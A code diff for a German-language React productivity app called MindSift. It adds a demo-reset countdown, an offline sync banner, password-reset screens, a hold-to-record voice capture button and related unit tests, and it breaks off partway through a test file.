@@ -514,9 +536,15 @@ export const App: React.FC = () => {
}
};
// Changes still waiting (server was unreachable although the device was online) are retried
const retry = window.setInterval(() => {
if (navigator.onLine && outboxCount() > 0) onOnline();
}, 30000);
window.addEventListener('mindsift:unauthorized', onUnauthorized);
window.addEventListener('online', onOnline);
return () => {
window.clearInterval(retry);
window.removeEventListener('mindsift:unauthorized', onUnauthorized);
window.removeEventListener('online', onOnline);
};
@@ -531,14 +559,53 @@ export const App: React.FC = () => {
}
}, [user?.id]);
// Refresh stats on task/doc real-time events
useEffect(() => {
setDemoDeadline(
authStatus.demoMode && typeof authStatus.demoResetInSeconds === 'number'
? Date.now() + authStatus.demoResetInSeconds * 1000
: null
);
}, [authStatus.demoMode, authStatus.demoResetInSeconds]);
// The demo database was reset: drop cached answers of the old data, remount the views (they load
// fresh data), refresh counters and the countdown. Sessions stay valid (fixed demo account IDs).
const handleDemoReset = useCallback(() => {
if (Date.now() - lastDemoResetRef.current < 30000) return; // event and countdown may both report it
lastDemoResetRef.current = Date.now();
void clearOfflineData();
setDataEpoch((n) => n + 1);
refreshAll();
api.getAuthStatus().then(setAuthStatus).catch(() => {});
setDemoNotice('Demo-Instanz wurde zurückgesetzt');
window.setTimeout(() => setDemoNotice(null), 4000);
}, [refreshAll]);
handleDemoResetRef.current = handleDemoReset;
// Countdown reached zero but no DEMO_RESET arrived (e.g. long polling): ask the server shortly after
const handleDemoCountdownElapsed = useCallback(() => {
window.setTimeout(() => {
api
.getAuthStatus()
.then((st) => {
if ((st.demoResetInSeconds ?? 0) > 60) handleDemoResetRef.current();
else setAuthStatus(st);
})
.catch(() => {});
}, 5000);
}, []);
// Refresh stats on task/doc/list real-time events (counters in the navigation)
useEffect(() => {
const handleWs = (e: any) => {
const msg = e.detail;
if (!msg) return;
if (msg.event === 'DEMO_RESET') {
handleDemoResetRef.current();
return;
}
if (
typeof msg.event === 'string' &&
(msg.event.startsWith('TASK_') || msg.event.startsWith('DOC_') || msg.event.startsWith('SPACE_'))
['TASK_', 'DOC_', 'SPACE_', 'ITEM_', 'LIST_'].some((prefix) => msg.event.startsWith(prefix))
) {
api.getMe().then((res) => {
setStats(res.stats);
@@ -666,11 +733,19 @@ export const App: React.FC = () => {
}
// Show Setup Wizard or Login Screen if needsSetup or not logged in
if (authStatus.needsSetup || !user) {
if (authStatus.needsSetup || !user || resetToken) {
return (
<SetupAndAuthView
authStatus={authStatus}
onAuthenticated={handleAuthenticated}
resetToken={resetToken}
onResetDone={() => {
// The new password ended every session, this one included
setResetToken(null);
clearToken();
setUser(null);
}}
onResetCancel={() => setResetToken(null)}
/>
);
}
@@ -714,7 +789,16 @@ export const App: React.FC = () => {
<span className="font-bold text-base text-main tracking-tight leading-none">
{authStatus.instanceName || 'MindSift'}
</span>
<span className="text-[9px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
{demoDeadline ? (
<DemoCountdown
deadline={demoDeadline}
minutes={authStatus.demoResetMinutes}
onElapsed={handleDemoCountdownElapsed}
className="text-[9px] mt-0.5"
/>
) : (
<span className="text-[9px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
)}
</div>
<ChevronDown
className={`w-4 h-4 text-muted transition-transform duration-150 ${
@@ -789,7 +873,16 @@ export const App: React.FC = () => {
<span className="font-bold text-sm sm:text-base text-main tracking-tight leading-none">
{authStatus.instanceName || 'MindSift'}
</span>
<span className="text-[10px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
{demoDeadline ? (
<DemoCountdown
deadline={demoDeadline}
minutes={authStatus.demoResetMinutes}
onElapsed={handleDemoCountdownElapsed}
className="text-[10px] mt-0.5"
/>
) : (
<span className="text-[10px] text-muted font-mono leading-tight mt-0.5">{APP_VERSION}</span>
)}
</div>
</div>
@@ -805,11 +898,11 @@ export const App: React.FC = () => {
<button
type="button"
onClick={() => setShowCommandPalette(true)}
className="h-8 px-2.5 rounded-btn bg-panel border border-border text-muted hover:text-main flex items-center gap-1.5 text-xs transition-colors cursor-pointer shrink-0"
title="Globale Suche öffnen (Cmd+K oder /)"
className="w-8 h-8 rounded-full bg-panel border border-border text-muted hover:text-main flex items-center justify-center transition-colors cursor-pointer shrink-0"
title="Globale Suche (Strg+K / ⌘K oder /)"
aria-label="Globale Suche (Strg+K / ⌘K oder /)"
>
<Search className="w-3.5 h-3.5" />
<span className="hidden lg:inline font-mono text-[10px] text-accent font-semibold">⌘K</span>
</button>
</div>
@@ -959,9 +1052,9 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'triage' ? 'tab-btn-active' : ''}`}
>
<Layers className="w-4 h-4" />
<span className={`relative inline-flex items-center ${stats.inboxCount > 0 ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${stats.inboxCount > 0 ? 'pr-3' : ''}`}>
<span>Triage</span>
<CountBadge count={stats.inboxCount} variant="accent" position="corner" className="-top-1.5 -right-1" />
<CountBadge count={stats.inboxCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
</span>
</button>
@@ -973,10 +1066,7 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'workspace' ? 'tab-btn-active' : ''}`}
>
<FileText className="w-4 h-4" />
<span className={`relative inline-flex items-center ${(stats.docsTodosOpenCount ?? 0) > 0 ? 'pr-2' : ''}`}>
<span>Workspace</span>
<CountBadge count={stats.docsTodosOpenCount} variant="accent" position="corner" className="-top-1.5 -right-1" />
</span>
<span>Workspace</span>
</button>
<button
@@ -987,9 +1077,9 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'tasks' ? 'tab-btn-active' : ''}`}
>
<CheckSquare className="w-4 h-4" />
<span className={`relative inline-flex items-center ${stats.tasksOpenCount > 0 ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${stats.tasksOpenCount > 0 ? 'pr-3' : ''}`}>
<span>Aufgaben</span>
<CountBadge count={stats.tasksOpenCount} variant="accent" position="corner" className="-top-1.5 -right-1" />
<CountBadge count={stats.tasksOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
</span>
</button>
@@ -1001,7 +1091,10 @@ export const App: React.FC = () => {
className={`tab-btn ${activeTab === 'lists' ? 'tab-btn-active' : ''}`}
>
<ShoppingCart className="w-4 h-4" />
<span>Listen</span>
<span className={`relative inline-flex items-center ${(stats.listItemsOpenCount ?? 0) > 0 ? 'pr-3' : ''}`}>
<span>Listen</span>
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="corner" className="-top-0.5 -right-2" />
</span>
</button>
</div>
@@ -1024,11 +1117,20 @@ export const App: React.FC = () => {
</header>
<MobileHeaderMenu activeTabLabel={activeTabLabelMap[activeTab]} />
<OfflineBanner />
{demoNotice && (
<div
role="status"
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] px-3 py-1.5 rounded-full border border-accent/40 bg-panel-elevated text-main text-[11px] font-medium shadow-panel"
>
✨ {demoNotice}
</div>
)}
{/* Main Container */}
<main className="flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 sm:pb-6">
<ViewErrorBoundary onReset={() => setActiveTab('triage')}>
<section>
<section key={dataEpoch}>
{activeTab === 'triage' && (
<TriageDeck
deck={deck}
@@ -1057,6 +1159,7 @@ export const App: React.FC = () => {
initialBlockId={selectedBlockId}
onStatsChange={refreshAll}
onOpenTask={handleOpenTask}
onOpenSearch={() => setShowCommandPalette(true)}
/>
)}
@@ -1138,18 +1241,14 @@ export const App: React.FC = () => {
}`}
title="Workspace"
>
<div className="relative">
<FileText className="w-5 h-5" />
<CountBadge count={stats.docsTodosOpenCount} variant="accent" position="corner" className="-top-1.5 -right-2.5" />
</div>
<FileText className="w-5 h-5" />
<span className="text-[10px] leading-tight">Workspace</span>
</button>
{/* Col 3 (EXACT CENTER): + Quick-Add FAB */}
<div className="flex items-center justify-center">
<button
type="button"
onClick={() => {
<HoldToRecordFab
onTap={() => {
triggerHaptic(15);
if (primaryAction) {
primaryAction();
@@ -1157,11 +1256,11 @@ export const App: React.FC = () => {
openMobileTriageCapture();
}
}}
className="w-14 h-14 -mt-6 rounded-full bg-accent text-on-accent shadow-lg flex items-center justify-center active:scale-90 transition-transform border-4 border-panel cursor-pointer"
title="Schnell erfassen (+)"
>
<Plus className="w-7 h-7 stroke-[2.5]" />
</button>
onTranscript={async (text) => {
const thought = await api.captureThought(text, 'normal', 'voice', '', { target: 'inbox' });
handleCaptured(thought, 'inbox');
}}
/>
</div>
{/* Col 4: Aufgaben */}
@@ -1195,7 +1294,10 @@ export const App: React.FC = () => {
}`}
title="Listen"
>
<ShoppingCart className="w-5 h-5" />
<div className="relative">
<ShoppingCart className="w-5 h-5" />
<CountBadge count={stats.listItemsOpenCount} variant="accent" position="corner" className="-top-1.5 -right-2.5" />
</div>
<span className="text-[10px] leading-tight">Listen</span>
</button>
</nav>
@@ -6,7 +6,6 @@ import {
ShoppingCart,
X,
Loader2,
ArrowRight,
CornerDownLeft,
} from 'lucide-react';
import { SearchHit } from '../lib/types';
+38
View File
@@ -0,0 +1,38 @@
import React, { useEffect, useState } from 'react';
interface DemoCountdownProps {
deadline: number; // ms timestamp of the next reset, in this browser's clock
minutes?: number;
className?: string;
onElapsed?: () => void;
}
const fmt = (ms: number) => {
const total = Math.max(0, Math.round(ms / 1000));
return `${String(Math.floor(total / 60)).padStart(2, '0')}:${String(total % 60).padStart(2, '0')}`;
};
// "✨ Demo · Reset in MM:SS" in place of the version under the app name while the demo mode resets itself
export const DemoCountdown: React.FC<DemoCountdownProps> = ({ deadline, minutes, className = '', onElapsed }) => {
const [now, setNow] = useState(() => Date.now());
useEffect(() => {
const timer = window.setInterval(() => setNow(Date.now()), 1000);
return () => window.clearInterval(timer);
}, []);
const left = deadline - now;
useEffect(() => {
if (left <= 0) onElapsed?.();
// Runs when the deadline passes, not on every tick
}, [left <= 0, deadline]);
return (
<span
className={`font-mono leading-tight text-accent ${className}`}
title={`Diese Test-Instanz wird alle ${minutes || 20} Minuten automatisch auf den Ausgangszustand zurückgesetzt.`}
>
✨ Demo · {left > 0 ? `Reset in ${fmt(left)}` : 'wird zurückgesetzt…'}
</span>
);
};
+50
View File
@@ -0,0 +1,50 @@
import React, { useEffect, useState } from 'react';
import { CloudOff, RefreshCw } from 'lucide-react';
import { outboxCount } from '../lib/offline';
// Small notice above the bottom navigation: offline (with the number of changes waiting), or
// "synchronisiere" while queued changes are being sent after the connection came back.
export const OfflineBanner: React.FC = () => {
const [online, setOnline] = useState(() => (typeof navigator === 'undefined' ? true : navigator.onLine));
const [pending, setPending] = useState(() => outboxCount());
useEffect(() => {
const update = () => {
setOnline(navigator.onLine);
setPending(outboxCount());
};
window.addEventListener('online', update);
window.addEventListener('offline', update);
window.addEventListener('mindsift:outbox-changed', update);
window.addEventListener('storage', update);
return () => {
window.removeEventListener('online', update);
window.removeEventListener('offline', update);
window.removeEventListener('mindsift:outbox-changed', update);
window.removeEventListener('storage', update);
};
}, []);
if (online && pending === 0) return null;
const waiting = `${pending} ${pending === 1 ? 'Änderung wartet' : 'Änderungen warten'}`;
return (
<div
role="status"
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] sm:bottom-4 z-[60] max-w-[calc(100vw-1.5rem)] px-3 py-1.5 rounded-full border text-[11px] font-medium shadow-panel flex items-center gap-1.5 bg-panel-elevated border-status-warn/40 text-main"
>
{online ? (
<RefreshCw className="w-3.5 h-3.5 text-accent animate-spin shrink-0" />
) : (
<CloudOff className="w-3.5 h-3.5 text-status-warn shrink-0" />
)}
<span className="truncate">
{online
? `Synchronisiere – ${waiting}…`
: pending > 0
? `Offline · ${waiting} auf Verbindung`
: 'Offline – Änderungen werden bei Verbindung synchronisiert'}
</span>
</div>
);
};
@@ -0,0 +1,22 @@
import { describe, it, expect } from 'vitest';
import { render } from '@testing-library/react';
import { AvatarStack } from '../AvatarStack';
const people = ['Anna', 'Ben', 'Carla', 'Dana', 'Emil'].map((name, i) => ({ id: `u${i}`, name }));
describe('AvatarStack (who a list or note is shared with)', () => {
it('shows at most three people and the rest as +n', () => {
const { container } = render(<AvatarStack people={people} />);
expect(container.textContent).toContain('+2');
expect(container.firstElementChild?.children.length).toBe(4); // 3 avatars + overflow circle
});
it('renders nothing for an unshared item', () => {
expect(render(<AvatarStack people={[]} />).container.firstChild).toBeNull();
});
it('needs no overflow circle when everyone fits', () => {
const { container } = render(<AvatarStack people={people.slice(0, 2)} />);
expect(container.textContent).not.toContain('+');
});
});
+191 -9
View File
@@ -15,15 +15,22 @@ import { AuthStatus, SharingMode, User } from '../../lib/types';
import { api, triggerHaptic } from '../../lib/api';
import { ToggleSwitch } from '../../components/ToggleSwitch';
import { LegalLinks } from '../../components/LegalLinks';
import { passwordProblem } from '../../lib/password';
interface SetupAndAuthViewProps {
authStatus: AuthStatus;
onAuthenticated: (user: User) => void;
resetToken?: string | null;
onResetDone?: () => void;
onResetCancel?: () => void;
}
export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
authStatus,
onAuthenticated,
resetToken,
onResetDone,
onResetCancel,
}) => {
// --- Setup Wizard State ---
const [setupName, setSetupName] = useState('');
@@ -36,7 +43,9 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
const [createSampleData, setCreateSampleData] = useState(false);
// --- Login / Invite / Register State ---
const [authTab, setAuthTab] = useState<'login' | 'invite' | 'register'>('login');
const [authTab, setAuthTab] = useState<'login' | 'invite' | 'register' | 'forgot' | 'reset'>(
resetToken ? 'reset' : 'login'
);
const [email, setEmail] = useState('');
const [password, setPassword] = useState('');
const [displayName, setDisplayName] = useState('');
@@ -44,11 +53,65 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
const [submitting, setSubmitting] = useState(false);
const [error, setError] = useState<string | null>(null);
const [notice, setNotice] = useState<string | null>(null);
const [newPassword, setNewPassword] = useState('');
const [newPasswordConfirm, setNewPasswordConfirm] = useState('');
const handleForgotPassword = async (e: React.FormEvent) => {
e.preventDefault();
setError(null);
setSubmitting(true);
try {
await api.requestPasswordReset(email.trim());
setNotice('Falls ein Konto mit dieser E-Mail-Adresse existiert, haben wir dir einen Link zum Zurücksetzen geschickt. Er gilt eine Stunde.');
setAuthTab('login');
} catch (err: any) {
setError(err.message || 'Anfrage fehlgeschlagen');
} finally {
setSubmitting(false);
}
};
const handleResetPassword = async (e: React.FormEvent) => {
e.preventDefault();
setError(null);
const resetProblem = passwordProblem(newPassword);
if (resetProblem) {
setError(resetProblem);
triggerHaptic(25);
return;
}
if (newPassword !== newPasswordConfirm) {
setError('Die eingegebenen Passwörter stimmen nicht überein.');
triggerHaptic(25);
return;
}
setSubmitting(true);
try {
await api.resetPassword(resetToken || '', newPassword);
setNewPassword('');
setNewPasswordConfirm('');
setPassword('');
setNotice('Dein Passwort wurde geändert. Melde dich jetzt mit dem neuen Passwort an.');
setAuthTab('login');
onResetDone?.();
} catch (err: any) {
setError(err.message || 'Passwort konnte nicht geändert werden');
} finally {
setSubmitting(false);
}
};
const handleCompleteSetup = async (e: React.FormEvent) => {
e.preventDefault();
setError(null);
const setupProblem = passwordProblem(setupPassword);
if (setupProblem) {
setError(setupProblem);
triggerHaptic(25);
return;
}
if (setupPassword !== setupPasswordConfirm) {
setError('Die eingegebenen Passwörter stimmen nicht überein.');
triggerHaptic(25);
@@ -93,6 +156,12 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
const handleRegisterOrInvite = async (e: React.FormEvent) => {
e.preventDefault();
setError(null);
const registerProblem = passwordProblem(password);
if (registerProblem) {
setError(registerProblem);
triggerHaptic(25);
return;
}
setSubmitting(true);
triggerHaptic(15);
try {
@@ -185,8 +254,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
type="password"
value={setupPassword}
onChange={(e) => setSetupPassword(e.target.value)}
placeholder="Mindestens 4 Zeichen"
minLength={4}
placeholder="Mindestens 8 Zeichen"
required
className="w-full h-8 px-2.5 input-field"
/>
@@ -198,7 +266,6 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
value={setupPasswordConfirm}
onChange={(e) => setSetupPasswordConfirm(e.target.value)}
placeholder="Passwort erneut eingeben"
minLength={4}
required
className={`w-full h-8 px-2.5 input-field ${
setupPasswordConfirm && setupPassword !== setupPasswordConfirm
@@ -355,13 +422,14 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
<Lock className="w-4 h-4 text-faint" />
</div>
{/* Navigation Tabs */}
<div className="flex border-b border-border bg-canvas text-xs">
{/* Navigation Tabs (not while choosing a new password) */}
<div className={`${authTab === 'reset' || authTab === 'forgot' ? 'hidden' : 'flex'} border-b border-border bg-canvas text-xs`}>
<button
type="button"
onClick={() => {
setAuthTab('login');
setError(null);
setNotice(null);
}}
className={`flex-1 h-9 px-3 font-medium flex items-center justify-center gap-1.5 border-r border-border transition-colors ${
authTab === 'login'
@@ -416,6 +484,106 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
<span>{error}</span>
</div>
)}
{notice && !error && (
<div role="status" className="mb-4 p-2.5 rounded-card border border-status-ok/40 bg-status-ok/10 text-main flex items-start gap-2">
<Check className="w-4 h-4 text-status-ok flex-shrink-0 mt-px" />
<span>{notice}</span>
</div>
)}
{authTab === 'forgot' && (
<form onSubmit={handleForgotPassword} className="space-y-3.5">
<div>
<h2 className="text-sm font-bold text-main">Passwort vergessen?</h2>
<p className="text-muted mt-1">
Gib die E-Mail-Adresse deines Kontos ein. Wir schicken dir einen Link, mit dem du ein neues Passwort festlegst.
</p>
</div>
<div>
<label className="block text-muted mb-1">E-Mail-Adresse</label>
<input
type="email"
value={email}
onChange={(e) => setEmail(e.target.value)}
placeholder="name@beispiel.de"
required
autoFocus
autoComplete="email"
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
/>
</div>
<div className="flex flex-col-reverse sm:flex-row gap-2 pt-1">
<button
type="button"
onClick={() => {
setAuthTab('login');
setError(null);
}}
className="btn-action h-11 sm:h-9 px-4 text-xs"
>
Zurück zur Anmeldung
</button>
<button
type="submit"
disabled={submitting}
className="flex-1 btn-primary h-11 sm:h-9 text-xs font-semibold disabled:opacity-50"
>
{submitting ? 'Sende…' : 'Link anfordern'}
</button>
</div>
</form>
)}
{authTab === 'reset' && (
<form onSubmit={handleResetPassword} className="space-y-3.5">
<div>
<h2 className="text-sm font-bold text-main">Neues Passwort festlegen</h2>
<p className="text-muted mt-1">Danach bist du überall abgemeldet und meldest dich mit dem neuen Passwort an.</p>
</div>
<div>
<label className="block text-muted mb-1">Neues Passwort</label>
<input
type="password"
value={newPassword}
onChange={(e) => setNewPassword(e.target.value)}
placeholder="Mindestens 8 Zeichen"
required
autoFocus
autoComplete="new-password"
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
/>
</div>
<div>
<label className="block text-muted mb-1">Passwort wiederholen</label>
<input
type="password"
value={newPasswordConfirm}
onChange={(e) => setNewPasswordConfirm(e.target.value)}
required
autoComplete="new-password"
className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs"
/>
</div>
<button
type="submit"
disabled={submitting}
className="w-full btn-primary h-11 sm:h-9 text-xs font-semibold disabled:opacity-50"
>
{submitting ? 'Speichere…' : 'Passwort speichern'}
</button>
<button
type="button"
onClick={() => {
setError(null);
setAuthTab(authStatus.passwordReset ? 'forgot' : 'login');
onResetCancel?.();
}}
className="w-full btn-action h-11 sm:h-9 text-xs"
>
{authStatus.passwordReset ? 'Neuen Link anfordern' : 'Zur Anmeldung'}
</button>
</form>
)}
{authTab === 'login' && (
<form onSubmit={handleLogin} className="space-y-3.5">
@@ -464,7 +632,22 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
</div>
<div>
<label className="block text-muted mb-1">Passwort</label>
<div className="flex items-baseline justify-between mb-1">
<label className="block text-muted">Passwort</label>
{authStatus.passwordReset && (
<button
type="button"
onClick={() => {
setAuthTab('forgot');
setError(null);
setNotice(null);
}}
className="text-accent hover:underline text-[11px] py-1"
>
Passwort vergessen?
</button>
)}
</div>
<input
type="password"
value={password}
@@ -549,8 +732,7 @@ export const SetupAndAuthView: React.FC<SetupAndAuthViewProps> = ({
type="password"
value={password}
onChange={(e) => setPassword(e.target.value)}
placeholder="Mindestens 4 Zeichen"
minLength={4}
placeholder="Mindestens 8 Zeichen"
required
className="w-full h-8 px-2.5 input-field"
/>
@@ -0,0 +1,372 @@
import React, { useEffect, useRef, useState } from 'react';
import { Mic, Plus } from 'lucide-react';
import { triggerHaptic } from '../../lib/api';
export interface HoldToRecordFabProps {
onTap: () => void;
onTranscript: (text: string) => Promise<void> | void;
}
const HOLD_DELAY_MS = 350;
const CANCEL_DRAG_PX = 60;
const STOP_TIMEOUT_MS = 1500;
const TOAST_DURATION_MS = 2500;
export const HoldToRecordFab: React.FC<HoldToRecordFabProps> = ({ onTap, onTranscript }) => {
const [isRecording, setIsRecording] = useState(false);
const [isCancelZone, setIsCancelZone] = useState(false);
const [liveTranscript, setLiveTranscript] = useState('');
const [toastMessage, setToastMessage] = useState<string | null>(null);
const isPressedRef = useRef(false);
// A press that turned into a hold must not also count as a tap when the browser sends its click
const suppressClickRef = useRef(false);
const didEnterHoldRef = useRef(false);
const fallbackHandledRef = useRef(false);
const isCancelZoneRef = useRef(false);
const abortedRef = useRef(false);
const isStoppingRef = useRef(false);
const hasEndedRef = useRef(false);
const finalizedRef = useRef(false);
const startYRef = useRef(0);
const transcriptRef = useRef('');
const recognitionRef = useRef<any>(null);
const holdTimerRef = useRef<number | null>(null);
const stopTimerRef = useRef<number | null>(null);
const toastTimerRef = useRef<number | null>(null);
const clearHoldTimer = () => {
if (holdTimerRef.current !== null) {
window.clearTimeout(holdTimerRef.current);
holdTimerRef.current = null;
}
};
const clearStopTimer = () => {
if (stopTimerRef.current !== null) {
window.clearTimeout(stopTimerRef.current);
stopTimerRef.current = null;
}
};
const showToast = (msg: string) => {
if (toastTimerRef.current !== null) {
window.clearTimeout(toastTimerRef.current);
}
setToastMessage(msg);
toastTimerRef.current = window.setTimeout(() => {
setToastMessage(null);
toastTimerRef.current = null;
}, TOAST_DURATION_MS);
};
useEffect(() => {
return () => {
clearHoldTimer();
clearStopTimer();
if (toastTimerRef.current !== null) {
window.clearTimeout(toastTimerRef.current);
}
if (recognitionRef.current) {
try {
recognitionRef.current.abort?.();
} catch {
// ignore cleanup errors
}
}
};
}, []);
const finalizeRecording = async () => {
if (finalizedRef.current) return;
finalizedRef.current = true;
clearStopTimer();
recognitionRef.current = null;
if (abortedRef.current) return;
const text = transcriptRef.current.trim();
setLiveTranscript('');
if (!text) {
showToast('Nichts erkannt');
return;
}
try {
await onTranscript(text);
triggerHaptic(25);
showToast('Im Quick Dump gespeichert');
} catch {
showToast('Fehler beim Speichern');
}
};
const startVoiceRecording = () => {
const SpeechRecognition =
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
if (!SpeechRecognition) {
fallbackHandledRef.current = true;
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
onTap();
return;
}
try {
const recognition = new SpeechRecognition();
recognition.lang = 'de-DE';
recognition.interimResults = true;
recognition.continuous = true;
transcriptRef.current = '';
abortedRef.current = false;
isStoppingRef.current = false;
hasEndedRef.current = false;
finalizedRef.current = false;
isCancelZoneRef.current = false;
recognition.onresult = (event: any) => {
let combined = '';
for (let i = 0; i < event.results.length; i++) {
combined += event.results[i][0].transcript;
}
transcriptRef.current = combined;
setLiveTranscript(combined);
};
recognition.onerror = (event: any) => {
const errCode = event?.error;
if (errCode === 'not-allowed' || errCode === 'service-not-allowed') {
abortedRef.current = true;
clearStopTimer();
setIsRecording(false);
setIsCancelZone(false);
setLiveTranscript('');
if (!fallbackHandledRef.current) {
fallbackHandledRef.current = true;
showToast('Mikrofon nicht freigegeben');
onTap();
}
return;
}
if (isStoppingRef.current) {
void finalizeRecording();
}
};
recognition.onend = () => {
hasEndedRef.current = true;
if (isStoppingRef.current) {
void finalizeRecording();
}
};
recognitionRef.current = recognition;
setLiveTranscript('');
setIsCancelZone(false);
setIsRecording(true);
triggerHaptic([15, 60, 25]);
recognition.start();
} catch {
fallbackHandledRef.current = true;
setIsRecording(false);
showToast('Spracheingabe wird von diesem Browser nicht unterstützt');
onTap();
}
};
const handlePointerDown = (e: React.PointerEvent<HTMLButtonElement>) => {
if (e.pointerType === 'mouse' && e.button !== 0) return;
try {
e.currentTarget.setPointerCapture?.(e.pointerId);
} catch {
// ignore if unsupported in environment
}
clearHoldTimer();
clearStopTimer();
isPressedRef.current = true;
suppressClickRef.current = false;
didEnterHoldRef.current = false;
fallbackHandledRef.current = false;
isCancelZoneRef.current = false;
startYRef.current = e.clientY;
holdTimerRef.current = window.setTimeout(() => {
holdTimerRef.current = null;
if (!isPressedRef.current) return;
didEnterHoldRef.current = true;
suppressClickRef.current = true;
startVoiceRecording();
}, HOLD_DELAY_MS);
};
const handlePointerMove = (e: React.PointerEvent<HTMLButtonElement>) => {
if (!isPressedRef.current || !didEnterHoldRef.current || fallbackHandledRef.current) return;
const deltaUp = startYRef.current - e.clientY;
const inCancel = deltaUp > CANCEL_DRAG_PX;
if (inCancel !== isCancelZoneRef.current) {
isCancelZoneRef.current = inCancel;
setIsCancelZone(inCancel);
triggerHaptic(10);
}
};
const handlePointerUp = (e: React.PointerEvent<HTMLButtonElement>) => {
try {
e.currentTarget.releasePointerCapture?.(e.pointerId);
} catch {
// ignore
}
if (!isPressedRef.current) return;
isPressedRef.current = false;
clearHoldTimer();
if (!didEnterHoldRef.current) {
// A short tap opens on the click that follows. Opening here already would let that click land
// on the freshly opened sheet's backdrop and close it again at once.
return;
}
if (fallbackHandledRef.current) {
return;
}
setIsRecording(false);
setIsCancelZone(false);
if (isCancelZoneRef.current) {
abortedRef.current = true;
clearStopTimer();
setLiveTranscript('');
triggerHaptic(15);
try {
recognitionRef.current?.abort?.();
} catch {
// ignore
}
recognitionRef.current = null;
return;
}
isStoppingRef.current = true;
if (hasEndedRef.current || !recognitionRef.current) {
void finalizeRecording();
return;
}
stopTimerRef.current = window.setTimeout(() => {
void finalizeRecording();
}, STOP_TIMEOUT_MS);
try {
recognitionRef.current.stop();
} catch {
void finalizeRecording();
}
};
const handlePointerCancel = (e: React.PointerEvent<HTMLButtonElement>) => {
try {
e.currentTarget.releasePointerCapture?.(e.pointerId);
} catch {
// ignore
}
if (!isPressedRef.current) return;
isPressedRef.current = false;
clearHoldTimer();
clearStopTimer();
if (didEnterHoldRef.current && !fallbackHandledRef.current) {
abortedRef.current = true;
setIsRecording(false);
setIsCancelZone(false);
setLiveTranscript('');
try {
recognitionRef.current?.abort?.();
} catch {
// ignore
}
recognitionRef.current = null;
}
};
const displayedTranscript =
liveTranscript.length > 180 ? `…${liveTranscript.slice(-180)}` : liveTranscript;
return (
<>
{isRecording && (
<div
className={
isCancelZone
? 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-status-err text-status-err shadow-panel pointer-events-none text-center'
: 'fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2.5 rounded-card bg-panel-elevated border border-border text-main shadow-panel pointer-events-none text-center'
}
>
{isCancelZone ? (
<div className="text-xs font-semibold">🗑️ Zum Abbrechen loslassen</div>
) : (
<div className="space-y-1">
<div className="text-xs font-semibold text-main">
Ich höre zu… (loslassen speichert)
</div>
{displayedTranscript ? (
<div className="text-xs text-muted break-words max-w-[calc(100vw-3rem)]">
{displayedTranscript}
</div>
) : (
<div className="text-[11px] text-faint">Nach oben ziehen zum Abbrechen</div>
)}
</div>
)}
</div>
)}
{!isRecording && toastMessage && (
<div
role="status"
aria-live="polite"
className="fixed left-1/2 -translate-x-1/2 bottom-[calc(5.5rem+env(safe-area-inset-bottom))] z-50 w-max max-w-[calc(100vw-1.5rem)] px-4 py-2 rounded-pill bg-panel-elevated border border-border text-main text-xs font-medium shadow-panel pointer-events-none text-center"
>
{toastMessage}
</div>
)}
<button
type="button"
onPointerDown={handlePointerDown}
onPointerMove={handlePointerMove}
onPointerUp={handlePointerUp}
onPointerCancel={handlePointerCancel}
onContextMenu={(e) => e.preventDefault()}
// Taps, keyboard, screen readers and switch control all end in a click; after a hold it is ignored
onClick={() => {
if (suppressClickRef.current) {
suppressClickRef.current = false;
return;
}
onTap();
}}
className={
isRecording
? 'w-14 h-14 -mt-6 rounded-full bg-status-err text-on-accent shadow-lg flex items-center justify-center transition-transform border-4 border-panel cursor-pointer touch-none select-none animate-pulse'
: 'w-14 h-14 -mt-6 rounded-full bg-accent text-on-accent shadow-lg flex items-center justify-center active:scale-90 transition-transform border-4 border-panel cursor-pointer touch-none select-none'
}
title="Schnell erfassen (+)"
aria-label="Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen"
>
{isRecording ? (
<Mic className="w-7 h-7 stroke-[2.5]" />
) : (
<Plus className="w-7 h-7 stroke-[2.5]" />
)}
</button>
</>
);
};
@@ -0,0 +1,287 @@
import React from 'react';
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { render, screen, fireEvent, act } from '@testing-library/react';
import { HoldToRecordFab } from '../HoldToRecordFab';
class FakeSpeechRecognition {
static instances: FakeSpeechRecognition[] = [];
lang = '';
interimResults = false;
continuous = false;
started = false;
stopped = false;
aborted = false;
onresult: ((event: any) => void) | null = null;
